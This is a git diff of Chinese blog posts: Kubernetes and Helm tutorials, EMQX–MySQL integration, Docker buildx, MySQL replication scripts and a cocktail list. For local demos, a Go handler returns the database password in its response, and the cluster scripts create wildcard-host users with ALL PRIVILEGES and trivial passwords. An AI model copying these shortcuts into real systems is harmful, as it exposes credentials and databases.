Namespace + +例如 dev 环境给开发使用,test 环境给 QA 使用,那么 k8s 能不能在不同环境 dev test uat prod 中区分资源. +```yaml +# namespaces.yaml +apiVersion: v1 +kind: Namespace +metadata: + name: dev + +--- + +apiVersion: v1 +kind: Namespace +metadata: + name: test +``` + +> 执行 + +```shell +kubectl apply -f namespaces.yaml +``` + +```shell +kubectl get namespaces +``` + +> 在新的 namespace 下创建资源和获取资源 + +``` +kubectl apply -f deployment.yaml -n dev +kubectl get pods -n dev +``` + +### Configmap + + +例如不同环境的数据库的地址往往是不一样的,那么如果在代码中写同一个数据库的地址,就会出现问题。 + +K8S 使用 ConfigMap 来将的配置数据和应用程序代码分开,将非机密性的数据保存到键值对中。ConfigMap 在设计上不是用来保存大量数据的。在 ConfigMap 中保存的数据不可超过 1 MiB。如果需要保存超出此尺寸限制的数据,可能考虑挂载存储卷。 +> 编写需要从环境变量中读取数据的应用程序 + +```go +package main + +import ( + "fmt" + "io" + "net/http" + "os" +) + +func hello(w http.ResponseWriter, r *http.Request) { + host, _ := os.Hostname() + dbURL := os.Getenv("DB_URL") + io.WriteString(w, fmt.Sprintf("[v4] Hello, Kubernetes! From host: %s, Get Database Connect URL: %s", host, dbURL)) +} + +func main() { + http.HandleFunc("/", hello) + http.ListenAndServe(":3000", nil) +} +``` + +```dockerfile +# Dockerfile +FROM golang:1.16-buster AS builder +RUN mkdir /src +ADD . /src +WORKDIR /src + +RUN go env -w GO111MODULE=auto +RUN go build -o main . + +FROM gcr.io/distroless/base-debian10 + +WORKDIR / + +COPY --from=builder /src/main /main +EXPOSE 3000 +ENTRYPOINT ["/main"] +``` + +> 删除之前所有的资源 + +```shell +kubectl delete deployment,service,ingress --all +``` + +> 构建 hellok8s:v4 的镜像 + +```shell +docker build . -t fieelina/hellok8s:v4 +``` + +> 删除之前所有的资源 + +```shell +docker push fieelina/hellok8s:v4 +``` + +> 创建不同 namespace 的 configmap 来存放 DB_URL + +```yaml +# hellok8s-config-dev.yaml +apiVersion: v1 +kind: ConfigMap +metadata: + name: hellok8s-config +data: + DB_URL: "http://DB_ADDRESS_DEV" +``` +```yaml +#hellok8s-config-test.yaml +apiVersion: v1 +kind: ConfigMap +metadata: + name: hellok8s-config +data: + DB_URL: "http://DB_ADDRESS_TEST" +``` + +> 分别在 dev test 两个 namespace 下创建相同的 ConfigMap,名字都叫 hellok8s-config,但是存放的 Pair 对中 Value 值不一样。 + +```shell +kubectl apply -f hellok8s-config-dev.yaml -n dev +``` + +```shell +kubectl apply -f hellok8s-config-test.yaml -n test +``` + +> 测试 + +```shell +kubectl get configmap --all-namespaces +``` + +> 使用 POD 的方式来部署 hellok8s:v4 + +```yaml +apiVersion: v1 +kind: Pod +metadata: + name: hellok8s-pod +spec: + containers: + - name: hellok8s-container + image: fieelina/hellok8s:v4 + env: + - name: DB_URL + valueFrom: + configMapKeyRef: + name: hellok8s-config + key: DB_URL +``` + +> 分别在 dev test 两个 namespace 下创建 hellok8s:v4 + +```shell +kubectl apply -f hellok8s.yaml -n dev +``` + +```shell +kubectl apply -f hellok8s.yaml -n test +``` + +> 暴露端口 + +```shell +kubectl port-forward hellok8s-pod 3000:3000 -n dev +``` + +> 测试 + +```shell +curl http://localhost:3000 +``` + +### Secret + +Secret 是一种包含少量敏感信息例如密码、令牌或密钥的对象。由于创建 Secret 可以独立于使用它们的 Pod, 因此在创建、查看和编辑 Pod 的工作流程中暴露 Secret(及其数据)的风险较小。 Kubernetes 和在集群中运行的应用程序也可以对 Secret 采取额外的预防措施, 例如避免将机密数据写入非易失性存储。 + +安全地使用 Secret,请至少执行以下步骤: + +**为 Secret 启用静态加密**; +**启用或配置 RBAC 规则来限制读取和写入** Secret 的数据(包括通过间接方式)。需要注意的是,被准许创建 Pod 的人也隐式地被授权获取 Secret 内容。 +在适当的情况下,还可以使用 RBAC 等机制来限制允许哪些主体创建新 Secret 或替换现有 Secret。 + +> 先编码 + +```shell +echo "db_password" | base64 +``` + +```shell +echo "ZGJfcGFzc3dvcmQK" | base64 -d +``` + +> 这里将 Base64 编码过后的值,填入对应的 key - value 中 + +```yaml +# hellok8s-secret.yaml +apiVersion: v1 +kind: Secret +metadata: + name: hellok8s-secret +data: + DB_PASSWORD: "ZGJfcGFzc3dvcmQK" +``` +```yaml +# hellok8s.yaml +apiVersion: v1 +kind: Pod +metadata: + name: hellok8s-pod +spec: + containers: + - name: hellok8s-container + image: fieelina/hellok8s:v5 + env: + - name: DB_PASSWORD + valueFrom: + secretKeyRef: + name: hellok8s-secret + key: DB_PASSWORD +``` + +```go +package main + +import ( + "fmt" + "io" + "net/http" + "os" +) + +func hello(w http.ResponseWriter, r *http.Request) { + host, _ := os.Hostname() + dbPassword := os.Getenv("DB_PASSWORD") + io.WriteString(w, fmt.Sprintf("[v5] Hello, Kubernetes! From host: %s, Get Database Connect Password: %s", host, dbPassword)) +} + +func main() { + http.HandleFunc("/", hello) + http.ListenAndServe(":3000", nil) +} + +``` +> 构建镜像 + +```shell +docker build . -t fieelina/hellok8s:v5 +``` + +> 推送远程 + +```shell +docker push fieelina/hellok8s:v5 +``` + +> 执行 + +```shell +kubectl apply -f hellok8s-secret.yaml +``` +```shell +kubectl apply -f hellok8s.yaml +``` +```shell +kubectl port-forward hellok8s-pod 3000:3000 +``` + +### Job +在实际的开发过程中,还有一类任务是之前的资源不能满足的,即一次性任务。例如常见的计算任务,只需要拿到相关数据计算后得出结果即可,无需一直运行。而处理这一类任务的资源就是 Job。 + +一种简单的使用场景下,会创建一个 Job 对象以便以一种可靠的方式运行某 Pod 直到完成。 当第一个 Pod 失败或者被删除(比如因为节点硬件失效或者重启)时,Job 对象会启动一个新的 Pod。 + + +```yaml +# hello-job.yaml +apiVersion: batch/v1 +kind: Job +metadata: + name: hello-job +spec: + parallelism: 3 + completions: 5 + template: + spec: + restartPolicy: OnFailure + containers: + - name: echo + image: busybox + command: + - "/bin/sh" + args: + - "-c" + - "for i in 9 8 7 6 5 4 3 2 1 ; do echo $i ; done" +``` +> 执行 + +```shell +kubectl apply -f hello-job.yaml +``` + +> 查看 + +```shell +kubectl get jobs +kubectl get pods +``` + +> 日志 + +```shell +kubectl logs -f hello-job-2x9tm +``` + +Job 完成时不会再创建新的 Pod,不过已有的 Pod 通常也不会被删除。 保留这些 Pod 使得可以查看已完成的 Pod 的日志输出,以便检查错误、警告或者其它诊断性输出。 可以使用 kubectl 来删除 Job(例如 kubectl delete -f hello-job.yaml)。当使用 kubectl 来删除 Job 时,该 Job 所创建的 Pod 也会被删除。 + +### CronJob + +CronJob 用于执行周期性的动作,例如备份、报告生成等。 这些任务中的每一个都应该配置为周期性重复的(例如:每天/每周/每月一次); 可以定义任务开始执行的时间间隔。 + +```text +# ┌───────────── 分钟 (0 - 59) +# │ ┌───────────── 小时 (0 - 23) +# │ │ ┌───────────── 月的某天 (1 - 31) +# │ │ │ ┌───────────── 月份 (1 - 12) +# │ │ │ │ ┌───────────── 周的某天 (0 - 6)(周日到周一;在某些系统上,7 也是星期日) +# │ │ │ │ │ 或者是 sun,mon,tue,web,thu,fri,sat +# │ │ │ │ │ +# │ │ │ │ │ +# * * * * * +``` + + +```yaml +# hello-cronjob.yaml +apiVersion: batch/v1 +kind: CronJob +metadata: + name: hello-cronjob +spec: + schedule: "* * * * *" # Every minute + jobTemplate: + spec: + template: + spec: + restartPolicy: OnFailure + containers: + - name: echo + image: busybox + command: + - "/bin/sh" + args: + - "-c" + - "for i in 9 8 7 6 5 4 3 2 1 ; do echo $i ; done" +``` + +> 执行 + +```shell +kubectl apply -f hello-cronjob.yaml +``` + +> 查看 + +```shell +kubectl get cronjob +kubectl get pods +``` + +### Helm +Helm 帮助您管理 Kubernetes 应用.不需要一个一个的 kubectl apply -f 来创建。 + +> 创建 helm charts + +```shell +helm create hello-helm +``` + +> 编写应用程序 + +```go +package main + +import ( + "fmt" + "io" + "net/http" + "os" +) + +func hello(w http.ResponseWriter, r *http.Request) { + host, _ := os.Hostname() + message := os.Getenv("MESSAGE") + namespace := os.Getenv("NAMESPACE") + dbURL := os.Getenv("DB_URL") + dbPassword := os.Getenv("DB_PASSWORD") + + io.WriteString(w, fmt.Sprintf("[v6] Hello, Helm! Message from helm values: %s, From namespace: %s, From host: %s, Get Database Connect URL: %s, Database Connect Password: %s", message, namespace, host, dbURL, dbPassword)) +} + +func main() { + http.HandleFunc("/", hello) + http.ListenAndServe(":3000", nil) +} +``` + +> Helm 默认使用 Go template 的方式 来使用这些配置信息 + +```yaml +apiVersion: v1 +kind: ConfigMap +metadata: + name: {{ .Values.application.name }}-config +data: + DB_URL: {{ .Values.application.hellok8s.database.url }} +``` +values.yaml 文件中获取 application.name 的值 hellok8s拼接 -config 字符串,这样创建出来的 configmaps 资源名称就是 hellok8s-config +`Values.application.hellok8s.database.url`就是获取值为 `http://DB_ADDRESS_DEFAULT`放入 configmaps 对应 key 为 DB_URL 的 value 中。 + +### Dashboard + +在本地 minikube 环境,可以直接通过下面命令开启 Dashboard。 + +```shell +minikube dashboard +``` \ No newline at end of file diff --git a/_posts/2024-03-29-test-markdown.md b/_posts/2024-03-29-test-markdown.md new file mode 100644 index 000000000000..bd28f57b70af --- /dev/null +++ b/_posts/2024-03-29-test-markdown.md @@ -0,0 +1,208 @@ +--- +layout: post +title: EMQX 集成 Mysql +subtitle: Docker 网络下的容器通信 +tags: [EMQX] +comments: true +--- + +# 创建Docker 网络运行 + +## 拉取镜像 + +```shell +docker pull emqx/emqx-enterprise:5.6.0 +``` + +## 创建Docker网络 + +```shell +docker network create my-network +``` + +## 运行emqx + +```shell +docker run -d --name emqx-enterprise --network my-network -p 1883:1883 -p 8083:8083 -p 8084:8084 -p 8883:8883 -p 18083:18083 emqx/emqx-enterprise:5.6.0 +``` + +## 运行Mysql + +```shell +docker run --name mysql --network my-network -p 3307:3306 -e MYSQL_ROOT_PASSWORD=public -d mysql +``` + +## 创建数据库和表 + +```shell +docker exec -it mysql bash +``` + +```shell +mysql -u root -ppublic +``` + +```shell +CREATE DATABASE emqx_data CHARACTER SET utf8mb4; +use emqx_data; +CREATE TABLE emqx_messages (id INT AUTO_INCREMENT PRIMARY KEY,clientid VARCHAR(255),topic VARCHAR(255),payload BLOB,created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP); +CREATE TABLE emqx_client_events (id INT AUTO_INCREMENT PRIMARY KEY,clientid VARCHAR(255), event VARCHAR(255),created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP); +``` + +## 仪表盘连接 + +配置的Mysql地址为`mysql`而不是`127.0.0.1:3307` +至此访问`http://localhost:18083/#/connector/create` +可以成功创建Mysql连接器 + +或者通过下面的命令获取Docker网络内部Mysql的Ip地址`docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' mysql` + +然后配置的Mysql地址为inspect 的结果+`:3306`;例如:`192.168.228.3:3306`至此可以成功创建Mysql连接器。 + + +# 在宿主机直接运行 + +## 拉取镜像 + +```shell +docker pull emqx/emqx-enterprise:5.6.0 +``` + +## 运行emqx + +```shell +docker run -d --name emqx-enterprise --network host emqx/emqx-enterprise:5.6.0 +``` + +## 运行Mysql + +```shell +docker run --name mysql --network host -e MYSQL_ROOT_PASSWORD=public -d mysql +``` + +## 创建数据库和表 + +进入容器后登录 +```shell +docker exec -it mysql bash +``` + +```shell +mysql -u root -ppublic +``` + +或者直接在宿主机登录 +```shell +mysql -h127.0.0.1 -P3306 -u root -ppublic +``` + +```shell +CREATE DATABASE emqx_data CHARACTER SET utf8mb4; +use emqx_data; +CREATE TABLE `emqx_messages` ( + `id` int NOT NULL AUTO_INCREMENT, + `clientid` varchar(255) DEFAULT NULL, + `topic` varchar(255) DEFAULT NULL, + `msg` varchar(255) DEFAULT NULL, + `created_at` timestamp NULL DEFAULT CURRENT_TIMESTAMP, + PRIMARY KEY (`id`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; + +CREATE TABLE emqx_client_events (id INT AUTO_INCREMENT PRIMARY KEY,clientid VARCHAR(255), event VARCHAR(255),created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP); +``` + +## 仪表盘连接 + +配置的Mysql地址为mysql而不是`127.0.0.1:3306` +至此访问`http://localhost:18083/#/connector/create` +可以成功创建Mysql连接器 + +当使用--network host参数运行Docker容器时,容器会直接使用host的网络命名空间。这意味着容器中的应用程序将直接在宿主机的网络上运行,而不是在Docker自己的虚拟网络中因此,使用--network host时指定的任何如图所示的端口映射(-p或--publish参数)都将被忽略。 + +## 安装emqx-cli + +### Homebrew +```shell +brew install emqx/mqttx/mqttx-cli +``` + +### Intel Chip +```shell +curl -LO https://www.emqx.com/zh/downloads/MQTTX/v1.9.10/mqttx-cli-macos-x64 +sudo install ./mqttx-cli-macos-x64 /usr/local/bin/mqttx +``` + +### Apple Silicon + +```shell +curl -LO https://www.emqx.com/zh/downloads/MQTTX/v1.9.10/mqttx-cli-macos-arm64 +sudo install ./mqttx-cli-macos-arm64 /usr/local/bin/mqttx +``` + + + +## EMQX 集成Mysql直接写入数据到Mysql + + +### Mysql 创建表 + +```shell +CREATE TABLE `emqx_messages` ( + `id` int NOT NULL AUTO_INCREMENT, + `clientid` varchar(255) DEFAULT NULL, + `topic` varchar(255) DEFAULT NULL, + `msg` varchar(255) DEFAULT NULL, + `created_at` timestamp NULL DEFAULT CURRENT_TIMESTAMP, + PRIMARY KEY (`id`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; + +``` + +### 配置EMQX Dashboard Rule +```shell +SELECT + clientid as clientid, + payload.msg as msg, + topic as topic, + timestamp as timestamp +FROM + "t/1" +``` + +通过 `payload.msg as msg`来提取出发送到主题的信息的具体的内容 + +### 配置EMQX Dashboard Action + +```shell +INSERT INTO emqx_messages(clientid, topic, msg, created_at ) VALUES( + ${clientid}, + ${topic}, + ${msg}, + FROM_UNIXTIME(${timestamp}/1000) +) +``` + +### 往主题发送消息 + +```shell +mqttx pub -i emqx_c -t t/1 -m '{ "msg": "hello MySQL" }' +``` + +登录Mysql查看数据是否被插入 +```shell +mysql -h127.0.0.1 -P3306 -u root -ppublic +``` + +```shell +use emqx_data; +``` + +```shell +select * from emqx_messages; +``` + + +## EMQX 配置Hook + +> 参考https://www.emqx.io/docs/en/latest/data-integration/webhook.html +> 注意:Hook服务必须要和EMQX/MySQL在同一个容器网络下(或者三者都是在宿主机) \ No newline at end of file diff --git a/_posts/2024-07-29-test-markdown.md b/_posts/2024-07-29-test-markdown.md new file mode 100644 index 000000000000..a0a187b7cced --- /dev/null +++ b/_posts/2024-07-29-test-markdown.md @@ -0,0 +1,100 @@ +--- +layout: post +title: 构建跨平台镜像 +subtitle: +tags: [Docker] +comments: true +--- + +> 本文主要介绍:Macos上如何构建一个Linux镜像,并且可以在Macos上跑这个镜像🤣。(感觉适用场景还是蛮多的🤔) +> 软件:OrbStack + +## 1. 安装OrbStack + +在 Apple M1(基于 ARM 架构)的机器上构建适用于 ARM 架构的 Docker 镜像,通常不需要特别的设置,因为 Docker 默认会构建与主机架构相匹配的镜像。但如果需要明确指定构建适用于 ARM 架构的镜像,可以使用 Docker Buildx( Docker 的一个扩展构建工具,支持跨平台构建)。 + +在 Apple M1 计算机上为 ARM 架构构建 Docker 镜像的具体步骤: + +- 安装并配置 Docker Buildx + +首先,确保Docker 版本是最新的,因为 Docker Desktop for Mac(尤其是针对 M1 芯片的版本)通常已经包含了 Docker Buildx。通过version命令检查 Buildx 是否已安装: + +```shell +docker buildx version +``` + +```shell +# 如果未安装,可以通过以下命令安装: +brew install docker-buildx +``` + +- 创建新的构建实例 + +为了确保可以进行跨平台构建,需要创建一个新的 Buildx 构建实例。通过docker buildx create以下命令创建: +docker buildx create --name mybuilder --use + +- 启动并检查构建实例 + +使用以下命令启动构建实例并检查是否支持多平台构建: + +```shell +docker buildx inspect --bootstrap +``` + +```shell +# 如果输出中包含以下内容,则表示构建实例已成功创建并支持多平台构建: +"Platforms": [ + "linux/amd64", + "linux/arm64", + "linux/ppc64le", + "linux/s390x" +] +``` + +- linux/arm64:适用于基于 ARM64 架构的系统,如 Apple M1/M2 芯片的 Mac 电脑和一些 ARM64 架构的 Linux 服务器。 +- linux/amd64:适用于标准的 x86-64 位架构,广泛用于个人电脑、服务器和云计算环境中。 +- linux/386:适用于 32 位的 x86(IA-32)架构。 +- linux/arm/v7:适用于 32 位的 ARM 架构,常见于较老的 ARM 设备和一些嵌入式系统。 +- linux/arm/v6:适用于更早版本的 ARM 设备,如早期版本的 Raspberry Pi。 + +### 构建 ARM 架构镜像 + +使用 Docker Buildx 构建 ARM 架构的镜像。如果 Dockerfile 位于当前目录: + +```shell +docker buildx build --platform linux/arm64 -t your-image-name:your-tag . +``` + +这里 --platform linux/arm64 指定了目标平台是 ARM64,这适用于 Apple M1 芯片。 + +### 使用镜像 + +构建完成后,可以像往常一样使用这个镜像。如果需要将镜像推送到 Docker Hub 或其他容器镜像仓库,请添加 --push 标志到构建命令中。 +注意 +- 在 Apple M1 上,默认构建的镜像是 ARM 架构的 +- 如果需要构建适用于不同架构(如 amd64)的镜像,需要在 Buildx 命令中指定相应的平台。 +```shell + docker buildx build --platform linux/arm64 -t test:v1.2 . + docker buildx build --platform linux/arm64 -t test:v1.2 . --load +``` + +没有加--load参数的时候,不会把镜保存到本地🤣,所以我一般都是用第二个命令。 + +```shell + docker buildx build --platform linux/amd64 -t test:v1.2 . --load + docker run --privileged -it --platform linux/amd64 -v $(pwd):/demo test:v1.2 /bin/bash +``` + + +## 使用orb + +```shell +orb create --arch amd64 ubuntu new-ubuntu +orb -m new-ubuntu exec +orb -m new-ubuntu +FROM centos:centos7 +``` + +## 参考 + + - [docker buildx](https://github.com/docker/buildx) diff --git a/_posts/2024-07-7-test-markdown.md b/_posts/2024-07-7-test-markdown.md new file mode 100644 index 000000000000..2c38a9af90dc --- /dev/null +++ b/_posts/2024-07-7-test-markdown.md @@ -0,0 +1,55 @@ +--- +layout: post +title: MacOS创建快捷命令 +subtitle: +tags: [MacOS] +comments: true +--- + +创建一个 Shell 脚本: +首先,创建一个脚本文件,包含要运行的命令。可以将脚本文件放置在一个常用的目录中,例如 /usr/local/bin。 + +```sh +sudo touch /usr/local/bin/code-run +sudo chmod +x /usr/local/bin/code-run +``` +编辑脚本文件: +使用文本编辑器编辑这个脚本文件,例如: + +```sh +sudo nano /usr/local/bin/code-run +``` +然后在文件中添加以下内容: + +```sh +#!/bin/bash +/path/to/your/bin/coderun config /path/to/your/etc/code.ini +``` +请将 /path/to/your/bin/coderun 和 /path/to/your/etc/code.ini替换为实际的路径。 + +创建一个别名: +编辑的 shell 配置文件来创建一个别名。对于 zsh(macOS 默认的 shell),可以编辑 ~/.zshrc 文件: + +```sh +nano ~/.zshrc +``` +添加以下内容: + +```sh +alias code-run='/usr/local/bin/code-run' +``` +如果使用的是 bash,编辑 ~/.bash_profile 或 ~/.bashrc 文件并添加相同的内容。 + +使配置生效: +保存文件并使配置生效: + +```sh +source ~/.zshrc +``` +或者对于 bash: + +```sh +source ~/.bash_profile +``` +现在,可以在终端中输入 code-run 来运行命令: + diff --git a/_posts/2024-07-8-test-markdown.md b/_posts/2024-07-8-test-markdown.md new file mode 100644 index 000000000000..b5c7bdc6836b --- /dev/null +++ b/_posts/2024-07-8-test-markdown.md @@ -0,0 +1,152 @@ +--- +layout: post +title: Docker本地搭建Mysql8集群 +subtitle: +tags: [Mysql] +comments: true +--- + + +> Mysql 镜像版本 mysql:8.0.30 更高版本不支持show master status\G + +> Vim 3349.cnf + +```shell +[mysqld] +server-id=33349 +general_log=ON +log_output=FILE +local-infile=1 +log-bin=mysql-bin +default-authentication-plugin=mysql_native_password +``` + +> Vim 3359.cnf + +```shell +[mysqld] +server-id=33359 +general_log=ON +log_output=FILE +local-infile=1 +log-bin=mysql-bin +default-authentication-plugin=mysql_native_password +``` + +> Vim 3369.cnf + +```shell +[mysqld] +server-id=33369 +general_log=ON +log_output=FILE +local-infile=1 +log-bin=mysql-bin +default-authentication-plugin=mysql_native_password +``` + +> 集群脚本 + +```shell +#!/bin/bash + +# 删除并重新创建 Docker 网络 +docker network create mysql8-net + +# 获取当前目录路径 +path=$(pwd) +echo "PATH: $path" + +# 启动 MySQL 主服务器容器 +docker run --name=mysql-high-master --network=mysql8-net -p 3349:3306 \ + -e MYSQL_ROOT_PASSWORD=root \ + -v $path/my3349.cnf:/etc/mysql/conf.d/my.cnf \ + -d mysql:8.0.30 + +# 启动 MySQL 从服务器容器 1 +docker run --name=mysql-high-slave1 --network=mysql8-net -p 3359:3306 \ + -e MYSQL_ROOT_PASSWORD=root \ + -v $path/my3359.cnf:/etc/mysql/conf.d/my.cnf \ + -d mysql:8.0.30 + +# 启动 MySQL 从服务器容器 2 +docker run --name=mysql-high-slave2 --network=mysql8-net -p 3369:3306 \ + -e MYSQL_ROOT_PASSWORD=root \ + -v $path/my3369.cnf:/etc/mysql/conf.d/my.cnf \ + -d mysql:8.0.30 + +# 等待 MySQL 容器启动并准备就绪 +sleep 30 + +# 创建用户和授予权限 +docker exec mysql-high-master mysql -uroot -proot -e " +CREATE USER 'gaea_backend_user'@'%' IDENTIFIED BY 'gaea_backend_pass'; +GRANT ALL PRIVILEGES ON *.* TO 'gaea_backend_user'@'%' WITH GRANT OPTION; +CREATE USER 'superroot'@'%' IDENTIFIED BY 'superroot'; +GRANT ALL PRIVILEGES ON *.* TO 'superroot'@'%' WITH GRANT OPTION; +CREATE USER 'repl'@'%' IDENTIFIED BY '111'; +GRANT REPLICATION SLAVE ON *.* TO 'repl'@'%'; +FLUSH PRIVILEGES; +" + +# 获取主服务器状态 +MS_STATUS=$(docker exec mysql-high-master mysql -uroot -proot -e "SHOW MASTER STATUS\G") +echo "$MS_STATUS" + +# get bin_file and bin_pos value +bin_file=$(echo "$MS_STATUS" | awk -F: '/File/ {print $2;}' | xargs) +bin_pos=$(echo "$MS_STATUS" | awk -F: '/Position/ {print $2;}' | xargs) + +# confirm bin_file and bin_pos value +echo $bin_file +echo $bin_pos + + +# build a master-slave relationship + +docker exec mysql-high-slave1 mysql -uroot -proot -e " +CREATE USER 'superroot'@'%' IDENTIFIED BY 'superroot'; +GRANT ALL PRIVILEGES ON *.* TO 'superroot'@'%' WITH GRANT OPTION; +FLUSH PRIVILEGES; +CHANGE MASTER TO MASTER_HOST='mysql-high-master',MASTER_USER='repl', MASTER_PASSWORD='111', MASTER_LOG_FILE='$bin_file', MASTER_LOG_POS=$bin_pos; +START SLAVE; +" +# build a master-slave relationship +docker exec mysql-high-slave2 mysql -uroot -proot -e " +CREATE USER 'superroot'@'%' IDENTIFIED BY 'superroot'; +GRANT ALL PRIVILEGES ON *.* TO 'superroot'@'%' WITH GRANT OPTION; +FLUSH PRIVILEGES; +CHANGE MASTER TO MASTER_HOST='mysql-high-master',MASTER_USER='repl', MASTER_PASSWORD='111', MASTER_LOG_FILE='$bin_file', MASTER_LOG_POS=$bin_pos; +START SLAVE; +" + + +# check slaves status +for slave in slave1 slave2; do + docker exec mysql-high-$slave mysql -uroot -proot -e "SHOW SLAVE STATUS\G" +done + + +docker exec mysql-high-master mysql -usuperroot -psuperroot -e " + CREATE DATABASE test; + USE test; + CREATE TABLE demo (id INT); + INSERT INTO demo VALUES (1); +" + +# wait mysql master database create +sleep 3 + +# check relationship +docker exec mysql-high-slave1 mysql -usuperroot -psuperroot -e " + SHOW DATABASES ; + USE test; +" + +# check relationship +docker exec mysql-high-slave2 mysql -usuperroot -psuperroot -e " + SHOW DATABASES ; + USE test; +" + +``` \ No newline at end of file diff --git a/_posts/2024-07-9-test-markdown.md b/_posts/2024-07-9-test-markdown.md new file mode 100644 index 000000000000..f4fe02dca42e --- /dev/null +++ b/_posts/2024-07-9-test-markdown.md @@ -0,0 +1,154 @@ +--- +layout: post +title: Docker本地搭建Mysql5.7集群 +subtitle: +tags: [Mysql] +comments: true +--- + + +> Mysql 镜像版本: ibex/debian-mysql-server-5.7 + +> vim my3319.cnf + +```shell +[mysqld] +server-id=33319 +general_log=ON +log_output=FILE +local-infile=1 +default-authentication-plugin=mysql_native_password +log-bin=mysql-bin +``` + +> vim my3329.cnf + +```shell +[mysqld] +server-id=33329 +general_log=ON +log_output=FILE +local-infile=1 +default-authentication-plugin=mysql_native_password +log-bin=mysql-bin +``` + +> vim my3339.cnf + +```shell +[mysqld] +server-id=33339 +general_log=ON +log_output=FILE +local-infile=1 +default-authentication-plugin=mysql_native_password +log-bin=mysql-bin +``` + +> 集群脚本 + +```shell +#!/bin/bash + +# 删除并重新创建 Docker 网络 +docker network rm mysql-net +docker network create mysql-net + +# 获取当前目录路径 +path=$(pwd) +echo "PATH: $path" + +# 启动 MySQL 主服务器容器 +docker run --name=mysql-master --network=mysql-net -p 3319:3306 \ + -e MYSQL_ROOT_PASSWORD=root \ + -v $path/my3319.cnf:/etc/mysql/conf.d/my.cnf \ + -d ibex/debian-mysql-server-5.7 + + +# 启动 MySQL 从服务器容器 1 +docker run --name=mysql-slave1 --network=mysql-net -p 3329:3306 \ + -e MYSQL_ROOT_PASSWORD=root \ + -v $path/my3329.cnf:/etc/mysql/conf.d/my.cnf \ + -d ibex/debian-mysql-server-5.7 + +# 启动 MySQL 从服务器容器 2 +docker run --name=mysql-slave2 --network=mysql-net -p 3339:3306 \ + -e MYSQL_ROOT_PASSWORD=root \ + -v $path/my3339.cnf:/etc/mysql/conf.d/my.cnf \ + -d ibex/debian-mysql-server-5.7 + +# 等待 MySQL 容器启动并准备就绪 +sleep 30 + +# 创建用户和授予权限 +docker exec mysql-master mysql -uroot -proot -e " +CREATE USER 'gaea_backend_user'@'%' IDENTIFIED BY 'gaea_backend_pass'; +GRANT ALL PRIVILEGES ON *.* TO 'gaea_backend_user'@'%' WITH GRANT OPTION; +CREATE USER 'superroot'@'%' IDENTIFIED BY 'superroot'; +GRANT ALL PRIVILEGES ON *.* TO 'superroot'@'%' WITH GRANT OPTION; +CREATE USER 'repl'@'%' IDENTIFIED BY '111'; +GRANT REPLICATION SLAVE ON *.* TO 'repl'@'%'; +FLUSH PRIVILEGES; +" + +# 获取主服务器状态 +MS_STATUS=$(docker exec mysql-master mysql -uroot -proot -e "SHOW MASTER STATUS\G") +echo "$MS_STATUS" + +# get bin_file and bin_pos value +bin_file=$(echo "$MS_STATUS" | awk -F: '/File/ {print $2;}' | xargs) +bin_pos=$(echo "$MS_STATUS" | awk -F: '/Position/ {print $2;}' | xargs) + +# confirm bin_file and bin_pos value +echo $bin_file +echo $bin_pos + + +# build a master-slave relationship + +docker exec mysql-slave1 mysql -uroot -proot -e " +CREATE USER 'superroot'@'%' IDENTIFIED BY 'superroot'; +GRANT ALL PRIVILEGES ON *.* TO 'superroot'@'%' WITH GRANT OPTION; +FLUSH PRIVILEGES; +CHANGE MASTER TO MASTER_HOST='mysql-master',MASTER_USER='repl', MASTER_PASSWORD='111', MASTER_LOG_FILE='$bin_file', MASTER_LOG_POS=$bin_pos; +START SLAVE; +" +# build a master-slave relationship +docker exec mysql-slave2 mysql -uroot -proot -e " +CREATE USER 'superroot'@'%' IDENTIFIED BY 'superroot'; +GRANT ALL PRIVILEGES ON *.* TO 'superroot'@'%' WITH GRANT OPTION; +FLUSH PRIVILEGES; +CHANGE MASTER TO MASTER_HOST='mysql-master',MASTER_USER='repl', MASTER_PASSWORD='111', MASTER_LOG_FILE='$bin_file', MASTER_LOG_POS=$bin_pos; +START SLAVE; +" + + +# check slaves status +for slave in slave1 slave2; do + docker exec mysql-$slave mysql -uroot -proot -e "SHOW SLAVE STATUS\G" +done + + +docker exec mysql-master mysql -usuperroot -psuperroot -e " + CREATE DATABASE test; + USE test; + CREATE TABLE demo (id INT); + INSERT INTO demo VALUES (1); +" + +# wait mysql master database create +sleep 3 + +# check relationship +docker exec mysql-slave1 mysql -usuperroot -psuperroot -e " + SHOW DATABASES ; + USE test; +" + +# check relationship +docker exec mysql-slave2 mysql -usuperroot -psuperroot -e " + SHOW DATABASES ; + USE test; +" + +``` \ No newline at end of file diff --git a/_posts/2024-1-23-test-markdown.md b/_posts/2024-1-23-test-markdown.md new file mode 100644 index 000000000000..355124bab188 --- /dev/null +++ b/_posts/2024-1-23-test-markdown.md @@ -0,0 +1,75 @@ +--- +layout: post +title: Cocktail List 🤣 +subtitle: +tags: [Cocktail List] +comments: true +--- + +> Long Island Ice Tea + +INGREDIENTS +15 ml Vodka +15 ml Tequila +15 ml White rum +15 ml Gin +15 ml Cointreau +30 ml Lemon juice +20 ml Simple syrup +Top with Cola + +> Cosmopolitan + +INGREDIENTS +45 ml Vodka +15 ml Orange Liqueur (such as Cointreau) +30 ml Cranberry Juice +15 ml Fresh Lime Juice +Ice +Lime Wheel, for garnish + + +> French Martini + +INGREDIENTS +45 ml Vodka +15 ml Raspberry Liqueur (such as Chambord) +45 ml Pineapple Juice +Ice +Raspberries, for garnish(I am allergic to Raspberries, blueberries are used here) + + +> Strawberry Daiquiri + +INGREDIENTS +60 ml White Rum +30 ml Lime Juice +20 ml Simple Syrup +4-5 Fresh Strawberries +Ice +Strawberry, for garnish + +> Daiquiri + +INGREDIENTS +2 oz White Rum +1 oz Fresh Lime Juice +1/2 oz Simple Syrup + +> Piña Colada + +INGREDIENTS +2 oz White Rum +1 oz Coconut Cream +1 oz Heavy Cream +6 oz Fresh Pineapple Juice +Pineapple slice and maraschino cherry for garnish + + +> Cuba Libre + +INGREDIENTS +2 oz White Rum +4 oz Cola +1/2 oz Fresh Lime Juice +Lime wedge for garnish \ No newline at end of file diff --git a/_posts/2024-11-13-test-markdown.md b/_posts/2024-11-13-test-markdown.md new file mode 100644 index 000000000000..e6f110bfdb5b --- /dev/null +++ b/_posts/2024-11-13-test-markdown.md 